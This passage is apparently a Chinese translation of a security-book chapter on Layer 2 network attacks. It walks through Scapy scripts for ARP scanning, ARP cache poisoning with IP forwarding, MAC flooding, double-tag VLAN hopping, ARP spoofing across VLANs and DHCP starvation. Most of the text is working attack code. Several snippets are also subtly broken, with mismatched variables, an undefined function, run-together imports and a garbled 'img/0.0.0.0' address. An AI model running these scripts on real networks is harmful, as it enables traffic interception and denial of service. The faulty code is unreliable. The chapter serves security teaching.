在本章中,我们将介绍以下内容:
-
ARP 监视器
-
ARP 缓存中毒
-
MAC 洪泛
-
VLAN 跳跃
-
通过 VLAN 跳跃进行 ARP 欺骗
-
DHCP 饥饿
第 2 层是数据链路层,负责在具有 MAC 地址的以太网中寻址数据包。第 2 层用于在广域网中的相邻网络节点之间或在同一局域网上的节点之间传输数据。在本章中,我们将介绍 TCP/IP 第二层的一些常见攻击。
通过地址解析协议(ARP),我们可以找到活动的内部主机。我们可以编写一个使用 Scapy 扫描给定网络中主机的脚本。
我们可以按照以下步骤编写 ARP 监视器:
-
创建一个
arp-scanner.py文件并在编辑器中打开它。 -
然后我们必须导入所需的模块:
from scapy.all import *- 现在为脚本声明变量:
interface = "en0"
ip_rage = "192.168.1.1/24"
broadcastMac = "ff:ff:ff:ff:ff:ff" -
现在我们可以向 IP 范围内的所有 IP 发送 ARP 数据包,并获取已回答和未回答的数据包。
-
创建 ARP 数据包如下:
pkt = Ether(dst=broadcastMac)/ARP(pdst = ip_rage) 数据包的结构将如下所示:
- 然后,使用
srp()发送数据包并接收响应:
answered, unanswered = srp(pkt, timeout =2, iface=interface, inter=0.1) - 接下来,遍历所有已回答的数据包并打印它们的 MAC 和 IP 地址:
for send,recive in ans:
print (recive.sprintf(r"%Ether.src% - %ARP.psrc%")) - 现在,以所需的权限运行脚本:
sudo python3 arp-scanner.py 这将打印出所提供的网络范围内所有活动系统的 MAC 和 IP。输出将如下所示:
-
现在我们可以将其转换为 ARP 监视器,具有监视网络变化的能力。为此,创建另一个
arp-monitor.py文件并导入scapy模块。 -
然后,创建一个函数来解析数据包并嗅探接口:
def parsePacket(pkt):
if ARP in pkt and pkt[ARP].op in (1,2):
return pkt.sprintf("%ARP.hwsrc% %ARP.psrc%") - 现在开始嗅探并调用
parsePacket()方法来解析 ARP 数据包:
sniff(prn=parsePacket, filter="arp", store=0) - 以所需的权限运行脚本以开始监视:
sudo python3 arp-monitor.py 正如我们所知,TCP/IP 局域网上的系统通过其网络适配器的 MAC 地址识别和相互通信。每个系统都会保留一份系统和其 MAC 地址的列表以供参考,称为 ARP 缓存。如果可能的话,我们需要欺骗一台机器的缓存,使其用错误的 MAC 地址替换另一台机器的 MAC 地址。从机器发送到具有伪造 MAC 地址的机器的所有通信将被定向到连接的机器。因此,ARP 缓存中毒是一种欺骗机器在其 ARP 表中保存有关 IP 地址的错误数据的方法。
由于我们正在执行一种中间人攻击(从连接到同一网络的另一台设备获取数据),我们必须打开 IP 转发以确保受害者机器上的连接不受影响或中断。为了执行 IP 转发,我们在 Linux 和 macOS 上有不同的方法。
我们可以通过检查以下文件中的内容来检查 IP 转发的状态:
cat /proc/sys/net/ipv4/ip_forward 如果输出是1,则 IP 转发已启用;如果是0,则 IP 转发已禁用。如果已禁用,请按以下方式启用它:
echo 1 > /proc/sys/net/ipv4/ip_forward 您可以使用以下命令在 macOS 上启用 IP 转发:
sudo sysctl -w net.inet.ip.forwarding=1 使用以下命令禁用它:
sudo sysctl -w net.inet.ip.forwarding=0 以下是编写脚本以中毒受害系统的 ARP 缓存的步骤:
-
创建一个新的
arp-cache-poisoning.py文件并在编辑器中打开。 -
导入
scapy模块:
from scapy.all import * - 声明变量。我们也可以从参数中获取这些,或者使用
raw_input():
interface = "en0"
gateway_ip = "192.168.1.2"
target_ip = "192.168.1.103"
broadcastMac = "ff:ff:ff:ff:ff:ff"
packet_count = 50 - 现在定义一个从提供的 IP 获取 MAC ID 的函数:
def getMac(IP):
ans, unans = srp(Ether(dst=broadcastMac)/ARP(pdst = IP), timeout =2, iface=interface, inter=0.1)
for send,recive in ans:
return r[Ether].src
return None - 现在用
getMac()方法获取目标和网关的 MAC 地址:
try:
gateway_mac = getMac(gateway_ip)
print ("Gateway MAC :" + gateway_mac)
except:
print ("Failed to get gateway MAC. Exiting.")
sys.exit(0)
try:
target_mac = getMac(target_ip)
print ("Target MAC :" + target_mac)
except:
print ("Failed to get target MAC. Exiting.")
sys.exit(0) - 定义中毒目标 ARP 缓存的函数:
def poison(gateway_ip,gateway_mac,target_ip,target_mac):
targetPacket = ARP()
targetPacket.op = 2
targetPacket.psrc = gateway_ip
targetPacket.pdst = target_ip
targetPacket.hwdst= target_mac
gatewayPacket = ARP()
gatewayPacket.op = 2
gatewayPacket.psrc = target_ip
gatewayPacket.pdst = gateway_ip
gatewayPacket.hwdst= gateway_mac
while True:
try:
targetPacket.show()
send(targetPacket)
gatewayPacket.show()
send(gatewayPacket)
time.sleep(2)
except KeyboardInterrupt:
restore_target(gateway_ip,gateway_mac,target_ip,target_mac)
sys.exit(0)
sys.exit(0)
return在这里,我们发送两种类型的数据包--一种是发送到目标机器,另一种是发送到网关。前两个块定义了这些数据包。目标数据包将如下所示:
网关数据包将如下所示:
- 现在创建一个函数将中毒的缓存重置为正常状态:
def restore(gateway_ip,gateway_mac,target_ip,target_mac):
print("Restoring target...")
send(ARP(op=2, psrc=gateway_ip, pdst=target_ip,hwdst="ff:ff:ff:ff:ff:ff",hwsrc=gateway_mac),count=100)
send(ARP(op=2, psrc=target_ip, pdst=gateway_ip,hwdst="ff:ff:ff:ff:ff:ff",hwsrc=target_mac),count=100)
print("Target Restored...")
sys.exit(0)- 然后,我们可以开始发送数据包:
try:
poison(gateway_ip, gateway_mac,target_ip,target_mac)
except KeyboardInterrupt:
restore(gateway_ip,gateway_mac,target_ip,target_mac)
sys.exit(0) - 以所需的权限运行脚本:
sudo python3 arp-cache-poisoning.py 我们可以通过在网络上传送随机的以太网流量来填充路由器的 MAC 地址存储。这可能导致交换机故障,并可能开始将所有网络流量发送给连接到路由器的所有人,或者可能失败。
以下是淹没路由器 MAC 地址存储的步骤:
-
创建一个
mac-flooder.py文件并在您的编辑器中打开。 -
导入所需的模块:
import sys
from scapy.all import * - 定义要淹没的
interface。我们也可以从参数中获取它:
interface = "en0" - 创建具有随机 MAC ID 和随机 IP 的数据包:
pkt = Ether(src=RandMAC("*:*:*:*:*:*"), dst=RandMAC("*:*:*:*:*:*")) / \
IP(src=RandIP("*.*.*.*"), dst=RandIP("*.*.*.*")) / \
ICMP()数据包结构将如下所示:
- 最后,在无限循环中发送数据包:
try:
while True:
sendp(pkt, iface=interface)
except KeyboardInterrupt:
print("Exiting.. ")
sys.exit(0) - 现在以所需的权限运行文件:
sudo python3 mac-flooder.py VLAN 跳跃是一种攻击类型,攻击者能够将一个 VLAN 的流量发送到另一个 VLAN。我们可以用两种方法实现这一点:双标签和交换机欺骗。为了创建双标签攻击,攻击者发送一个带有两个802.1Q标签的数据包--内部 VLAN 标签是我们计划到达的 VLAN,外层是当前的 VLAN。
以下是模拟简单的 VLAN 跳跃攻击的步骤:
-
创建一个
vlan-hopping.py文件并在您的编辑器中打开。 -
导入模块并设置变量:
import timefrom scapy.all
import *iface = "en0"
our_vlan = 1
target_vlan = 2
target_ip = '192.168.1.2' - 使用两个 802.1Q 标签制作数据包:
ether = Ether()
dot1q1 = Dot1Q(vlan=our_vlan) # vlan tag 1
dot1q2 = Dot1Q(vlan=target_vlan) # vlan tag 2
ip = IP(dst=target_ip)
icmp = ICMP()
packet = ether/dot1q1/dot1q2/ip/icmp 数据包将如下所示:
- 现在,在无限循环中发送这些数据包:
try:
while True:
sendp(packet, iface=iface)
time.sleep(10)
except KeyboardInterrupt:
print("Exiting.. ")
sys.exit(0) - 以所需的权限运行脚本:
sudo python3 vlan-hopping.py 由于 VLAN 限制广播流量到相同的 VLAN,因此我们为每个数据包打上我们的 VLAN 标记,并额外添加目标 VLAN 的标记。
以下是模拟 ARP 欺骗攻击跨 VLAN 跳跃的步骤:
-
创建一个新的
arp-spoofing-over-vlan.py文件并在您的编辑器中打开。 -
导入模块并设置变量:
import time
from scapy.all import *
iface = "en0"
target_ip = '192.168.1.2'
fake_ip = '192.168.1.3'
fake_mac = 'c0:d3:de:ad:be:ef'
our_vlan = 1
target_vlan = 2 - 创建具有两个 802.1Q 标签的 ARP 数据包:
ether = Ether()
dot1q1 = Dot1Q(vlan=our_vlan)
dot1q2 = Dot1Q(vlan=target_vlan)
arp = ARP(hwsrc=fake_mac, pdst=target_ip, psrc=fake_ip, op="is-at")
packet = ether/dot1q1/dot1q2/arp 这是一个带有两个 802.1Q 标签和 ARP 层的数据包:
- 在无限循环中发送数据包:
try:
while True:
sendp(packet, iface=iface)
time.sleep(10)
except KeyboardInterrupt:
print("Exiting.. ")
sys.exit(0) - 以所需的权限运行脚本:
sudo python3 arp-spoofing-over-vlan.py DHCP 是帮助为 LAN 分配客户端 IP 地址的协议。分配 DHCP 的过程包括四个步骤--DHCPDiscover、DHCPOffer、DHCPRequest 和 DHCP ACK。
DHCPDiscover 是客户端在 LAN 中广播以查找可以为客户端提供 IP 的 DHCP 服务器的第一步。然后服务器将以单播 DHCPOffer 响应,其中提供可能的 IP。然后,客户端将向所有网络广播 DHCPRequest 与 IP,最后服务器将以 DHCP ACK 或 DHCP NAK 响应。ACK 表示成功的 DHCP 过程,而 NAK 表示 IP 不可用:
DHCP 服务器将 IP 信息存储到 MAC 绑定。如果我们从 DHCP 服务器请求太多 IP,其他合法客户端将无法获得 IP 连接。这被称为DHCP 饥饿攻击。在这个示例中,我们将攻击这个过程的第三步。发送 DHCP 请求后,服务器将为客户端分配请求的 IP。这可以用来攻击特定范围的 IP。
让我们尝试编写一个脚本来使网络中的 DHCP 饥饿:
-
创建一个
dhcp-starvation.py文件并在您的编辑器中打开。 -
导入所需的模块:
from scapy.all import *
from time import sleep
from threading import Thread 我们需要Scapy来制作数据包,并且需要threading模块来执行脚本的线程化
- 现在,定义变量:
mac = [""]
ip = [] - 现在我们可以定义回调函数来处理捕获的 DHCP 数据包:
def callback_dhcp_handle(pkt):
if pkt.haslayer(DHCP):
if pkt[DHCP].options[0][1]==5 and pkt[IP].dst != "192.168.1.38":
ip.append(pkt[IP].dst)
print (str(pkt[IP].dst)+" registered")
elif pkt[DHCP].options[0][1]==6:
print ("NAK received") 这个函数被调用来处理嗅探器接收到的每个数据包
- 现在我们必须创建另一个函数来配置嗅探器。这个函数被线程调用:
def sniff_udp_packets():
sniff(filter="udp and (port 67 or port 68)",
prn=callback_dhcp_handle,
store=0) 这将开始嗅探到端口67和68的 UDP 数据包
- 现在我们可以创建一个 DHCPRequest 数据包并将其发送到我们计划饥饿的 DHCP 服务器:
def occupy_IP():
for i in range(250):
requested_addr = "192.168.1."+str(2+i)
if requested_addr in ip:
continue
src_mac = ""
while src_mac in mac:
src_mac = RandMAC()
mac.append(src_mac)
pkt = Ether(src=src_mac, dst="ff:ff:ff:ff:ff:ff")
pkt /= IP(src="img/0.0.0.0", dst="255.255.255.255")
pkt /= UDP(sport=68, dport=67)
pkt /= BOOTP(chaddr="\x00\x00\x00\x00\x00\x00",xid=0x10000000)
pkt /= DHCP(options=[("message-type", "request"),
("requested_addr", requested_addr),
("server_id", "192.168.1.1"),
"end"])
sendp(pkt)
print ("Trying to occupy "+requested_addr)
sleep(0.2) # interval to avoid congestion and packet loss 这将首先在指定范围内生成一个 IP 地址。此外,它将为数据包创建一个随机的 MAC 地址。然后,它将使用生成的 IP 地址和 MAC 地址来创建一个 DHCP 请求数据包。然后,它将发送数据包。生成的数据包将如下所示:
- 现在我们可以启动线程,尝试在 DHCP 服务器中占用 IP 地址:
def main():
thread = Thread(target=sniff_udp_packets)
thread.start()
print ("Starting DHCP starvation...")
while len(ip) < 100:
occupy_IP()
print ("Targeted IP address starved")
main()- 现在,以所需的权限运行脚本。








